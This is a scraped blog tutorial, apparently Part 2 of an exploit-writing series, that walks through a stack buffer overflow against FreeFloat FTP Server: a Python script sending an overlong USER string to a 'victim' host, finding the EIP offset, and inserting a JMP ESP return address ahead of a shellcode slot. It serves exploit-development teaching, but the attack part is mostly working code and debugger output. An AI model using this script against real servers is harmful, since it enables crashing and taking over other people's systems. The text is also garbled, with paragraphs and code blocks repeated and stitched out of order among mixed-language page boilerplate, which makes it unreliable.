Guide to Basic Exploit Writing (Part 2 - Controlling the EIP)
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Judul : Guide to Basic Exploit Writing (Part 2 - Controlling the EIP)
link : Guide to Basic Exploit Writing (Part 2 - Controlling the EIP)
Lets Start the Part 2 - Controlling the EIP (Extended Instruction Pointer).
0X01 - What is EIP?
EIP ( Extended Instruction Pointer ) is a register that points to the next instruction. It simply points to the address in which that instruction is placed. So if we overwrite this we can change the direction flow of the program and make it do what we want.
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8. The JMP ESP Instruction.
Anda sekarang membaca artikel Guide to Basic Exploit Writing (Part 2 - Controlling the EIP) dengan alamat link https://fx008z.blogspot.com/2012/05/guide-to-basic-exploit-writing-part-2.html
Judul : Guide to Basic Exploit Writing (Part 2 - Controlling the EIP)
link : Guide to Basic Exploit Writing (Part 2 - Controlling the EIP)
Guide to Basic Exploit Writing (Part 2 - Controlling the EIP)
Hello GreenHackerz Readers..........
Lets Start the Part 2 - Controlling the EIP (Extended Instruction Pointer).
0X01 - What is EIP?
EIP ( Extended Instruction Pointer ) is a register that points to the next instruction. It simply points to the address in which that instruction is placed. So if we overwrite this we can change the direction flow of the program and make it do what we want.
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5. Finding the Offset.
5. Finding the Offset.
In Part 1 of the guide, we fuzzed the FreeFloat FTP Server and found that if we send a string of 1000 'A's as the USER, we can overwrite the EIP with 41414141. Now the question is - how do we find out which particular 4 bytes out of the 1000 bytes had overwritten the EIP?
In this case, one convenient way of working this out is to make use of two scripts that come together with the Metasploit Framework: pattern_create.rb and pattern_offset.rb. First, create a string of alphanumeric characters using pattern_create.rb. Note that the location of the script in your system may differ.
Code
In this case, one convenient way of working this out is to make use of two scripts that come together with the Metasploit Framework: pattern_create.rb and pattern_offset.rb. First, create a string of alphanumeric characters using pattern_create.rb. Note that the location of the script in your system may differ.
Code
# /opt/metasploit/tools/pattern_create.rb 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
Now create the following exploit.py file and use the 1000-byte string generated above instead of the 1000 'A's.
Code
#!/usr/bin/python2.7
Code
#!/usr/bin/python2.7
import sys
import socket
evil = \"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B\"
buffer = \"USER \"
buffer += evil
buffer += \"\r\n\"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = sock.connect((\"192.168.1.4\", 21)) #replace 192.168.1.4 with the ip of your Victim computer
sock.recv(1024)
sock.send(buffer)
sock.close()
Now, make the file executable and run it i.e. # ./exploit.py
This should 'hang' the FTP server running in ollydbg. Take a look at the EIP register. On my system, instead of 41414141, it now shows 37684136. Plug this string into pattern_offset.rb, as shown below. Remember to replace the 37684136 with the string you see in the EIP register on your own system.
import socket
evil = \"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B\"
buffer = \"USER \"
buffer += evil
buffer += \"\r\n\"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = sock.connect((\"192.168.1.4\", 21)) #replace 192.168.1.4 with the ip of your Victim computer
sock.recv(1024)
sock.send(buffer)
sock.close()
Now, make the file executable and run it i.e. # ./exploit.py
This should 'hang' the FTP server running in ollydbg. Take a look at the EIP register. On my system, instead of 41414141, it now shows 37684136. Plug this string into pattern_offset.rb, as shown below. Remember to replace the 37684136 with the string you see in the EIP register on your own system.
Code
# /opt/metasploit/tools/pattern_offset.rb 37684136
230
# /opt/metasploit/tools/pattern_offset.rb 37684136
230
Now replace the "evil" line in exploit.py with the following:
Code
evil = \"\x41\" * 230 # generate a string of 230 'A's
evil += \"\x42\" * 4 # if we did this correctly, the EIP should be overwritten by 'BBBB'
evil += \"\x43\" * (1000 - len(evil)) # fill the remaining bytes with 'C's
evil = \"\x41\" * 230 # generate a string of 230 'A's
evil += \"\x42\" * 4 # if we did this correctly, the EIP should be overwritten by 'BBBB'
evil += \"\x43\" * (1000 - len(evil)) # fill the remaining bytes with 'C's
Run exploit.py again. You should see that EIP has now been overwritten with 42424242, or 'BBBB'.
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6. Finding a Home for our Shell Code.
Before we work further on the EIP, let's take a look at the bottom right window in ollydbg - the stack. If you scroll up the window slightly, you will see a long string of 41414141s. That's our 230 'A's. Immediately after that, you will see 42424242, followed by a long string of 43434343s.
Looking back at the register window in ollydbg, observe that the ESP register seems to be pointing to a long string of 'C's, or 43434343.... Choose the ESP register value and right-click on it, then choose the "Follow in Stack" option. In the stack window of ollydbg, you will be directed to the 3rd row of 43434343. On my system, the address of this row is 0x013CFC18. Now scroll down the stack window to the last row of 43434343. On my system, the address of this last row is 0x013CFF08. This means we have about 0x2F0, or 752 bytes to work with.
For a straightforward exploit (as is the case here), this is more than sufficient space for a tcp bind shell or reverse shell. Seems like a good place to house our shellcode in!
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7. The Plan of Attack.
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6. Finding a Home for our Shell Code.
Before we work further on the EIP, let's take a look at the bottom right window in ollydbg - the stack. If you scroll up the window slightly, you will see a long string of 41414141s. That's our 230 'A's. Immediately after that, you will see 42424242, followed by a long string of 43434343s.
Looking back at the register window in ollydbg, observe that the ESP register seems to be pointing to a long string of 'C's, or 43434343.... Choose the ESP register value and right-click on it, then choose the "Follow in Stack" option. In the stack window of ollydbg, you will be directed to the 3rd row of 43434343. On my system, the address of this row is 0x013CFC18. Now scroll down the stack window to the last row of 43434343. On my system, the address of this last row is 0x013CFF08. This means we have about 0x2F0, or 752 bytes to work with.
For a straightforward exploit (as is the case here), this is more than sufficient space for a tcp bind shell or reverse shell. Seems like a good place to house our shellcode in!
================================================
7. The Plan of Attack.
Let's summarise the key things we found out thus far:
1. We can insert any value, or memory address, we want into EIP. The program will then execute any valid instruction found at the memory address.
2. The ESP points to the 3rd row of 43434343. We can control the values in this row, as well as the 752 bytes there after. Instead of 'C's, we can place our shell code here.
Based on the above, we can work out the following plan of attack:
1. We need to first find a "JMP ESP" instruction and get its address.
2. We will place this address into EIP, so that the JMP ESP instruction will be executed.
3. We will place our shell code just after the 3rd row of 43434343, for e.g. in the 4th row.
4. After filling in our shell code, we will replace all the remaining 'A's and 'C's with \x90 (NOPs).
5. When the JMP ESP is executed in point #2 above, the program will first execute the 3rd row, now filled with NOPs, followed by the 4th row and so on, which is now filled with our shell code. (Sometimes, you may need to adjust the number of NOPs you put in.)
2. The ESP points to the 3rd row of 43434343. We can control the values in this row, as well as the 752 bytes there after. Instead of 'C's, we can place our shell code here.
Based on the above, we can work out the following plan of attack:
1. We need to first find a "JMP ESP" instruction and get its address.
2. We will place this address into EIP, so that the JMP ESP instruction will be executed.
3. We will place our shell code just after the 3rd row of 43434343, for e.g. in the 4th row.
4. After filling in our shell code, we will replace all the remaining 'A's and 'C's with \x90 (NOPs).
5. When the JMP ESP is executed in point #2 above, the program will first execute the 3rd row, now filled with NOPs, followed by the 4th row and so on, which is now filled with our shell code. (Sometimes, you may need to adjust the number of NOPs you put in.)
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8. The JMP ESP Instruction.
In ollydbg, press Alt-E to bring up a window showing the list of executable modules of the FTP program. We can try to find a JMP ESP instruction from one of these modules, while bearing the following in mind:
1. We need to avoid using a JMP ESP instruction with an address which contains a \x00, \x0a or \x0d. These are the null byte, line feed and carriage return respectively. They tend to break exploits.
2. We should try to use modules that come together with the program, instead of the modules supplied by the operating system. The addresses within the former are less likely to change with different Service Packs, languages, etc and should be more portable.
3. Windows Vista uses ASLR to randomise the memory addresses of most modules, especially the ones supplied by the operating system. I think Win7 uses ASLR for all modules. The use of ASLR reduces the portability of the exploit, and in most cases, prevents the exploit from working again after the Victim computer reboots.
Now take a look at the list of executable modules. Unfortunately, all of them are modules supplied by the OS. Looks like we have to pick an OS supplied module. If you are following this tutorial using Vista or a newer Windows OS, this means that it will be difficult for you to pwn Vista machines you don't own... well I meant it when I said this was for educational purposes only ; There are ways to bypass ASLR under certain circumstances, but that's another story.
1. We need to avoid using a JMP ESP instruction with an address which contains a \x00, \x0a or \x0d. These are the null byte, line feed and carriage return respectively. They tend to break exploits.
2. We should try to use modules that come together with the program, instead of the modules supplied by the operating system. The addresses within the former are less likely to change with different Service Packs, languages, etc and should be more portable.
3. Windows Vista uses ASLR to randomise the memory addresses of most modules, especially the ones supplied by the operating system. I think Win7 uses ASLR for all modules. The use of ASLR reduces the portability of the exploit, and in most cases, prevents the exploit from working again after the Victim computer reboots.
Now take a look at the list of executable modules. Unfortunately, all of them are modules supplied by the OS. Looks like we have to pick an OS supplied module. If you are following this tutorial using Vista or a newer Windows OS, this means that it will be difficult for you to pwn Vista machines you don't own... well I meant it when I said this was for educational purposes only ; There are ways to bypass ASLR under certain circumstances, but that's another story.
Anyway double-click on USER32.dll. Then, in the main window (top-left) of ollydbg, right-click and select the option 'Search for -> Command'. Do a search for 'JMP ESP'. You can try using other modules if you like. On my system, I found a JMP ESP instruction at 0x76b8fae1. Don't reboot your machine if you are using >= Vista, or you will have to repeat this step. Remember not to use addresses with \x00, \x0a and \x0d in them.
Next, replace the "evil" lines in exploit.py, with the following:
Code
evil = \"\x90\" * 230 # Just a bunch of NOPs, not really important here
evil += \"\xe1\xfa\xb8\x76\" # address of the JMP ESP instruction, little-endian order
evil += \"\xcc\" * (1000 - len(evil)) # fill up the remaining bytes with breakpoints (\xcc)
Now run exploit.py again. The FTP program running under ollydbg should now pause at the 3rd row of '\xcc'. You can verify this by looking at the stack window and the main window of ollydbg.
All that is left now is to replace the '\xcc' with our shell code. Stay tuned for the 3rd and last part!
Next, replace the "evil" lines in exploit.py, with the following:
Code
evil = \"\x90\" * 230 # Just a bunch of NOPs, not really important here
evil += \"\xe1\xfa\xb8\x76\" # address of the JMP ESP instruction, little-endian order
evil += \"\xcc\" * (1000 - len(evil)) # fill up the remaining bytes with breakpoints (\xcc)
Now run exploit.py again. The FTP program running under ollydbg should now pause at the 3rd row of '\xcc'. You can verify this by looking at the stack window and the main window of ollydbg.
All that is left now is to replace the '\xcc' with our shell code. Stay tuned for the 3rd and last part!
espérons qu'il vous plaira.
Enjoy the article.
Demikianlah Artikel Guide to Basic Exploit Writing (Part 2 - Controlling the EIP)
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